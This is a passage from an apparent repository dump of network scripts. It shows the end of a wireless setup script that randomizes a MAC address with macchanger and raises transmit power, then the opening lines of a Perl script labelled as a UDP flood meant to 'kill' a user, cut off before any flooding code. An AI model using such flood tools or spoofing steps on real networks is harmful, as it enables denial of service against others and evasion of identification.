17 | ifconfig wlan0 up
18 |
19 | ifconfig wlan1 down
20 | iwconfig wlan1 txpwoer 3000
21 | macchanger -bra wlan1
22 | ifconfig wlan1 up
23 |
24 | echo "Complete"
25 | echo ""
26 | sleep 1
27 |
28 | # testing
29 | echo "Testing.."
30 | ping google.com
31 | sleep 10
32 |
33 |
--------------------------------------------------------------------------------
/search-and-destroy-scripts/udpflood-kill-user.pl:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl
2 | ##########
3 |
4 | #!/usr/bin/perl
5 |
6 | ##############
7 | # udp flood.
8 | ##############
9 |
10 | use Socket;
11 | use strict;
12 |
13 | if ($#ARGV != 3) {
14 | print "flood.pl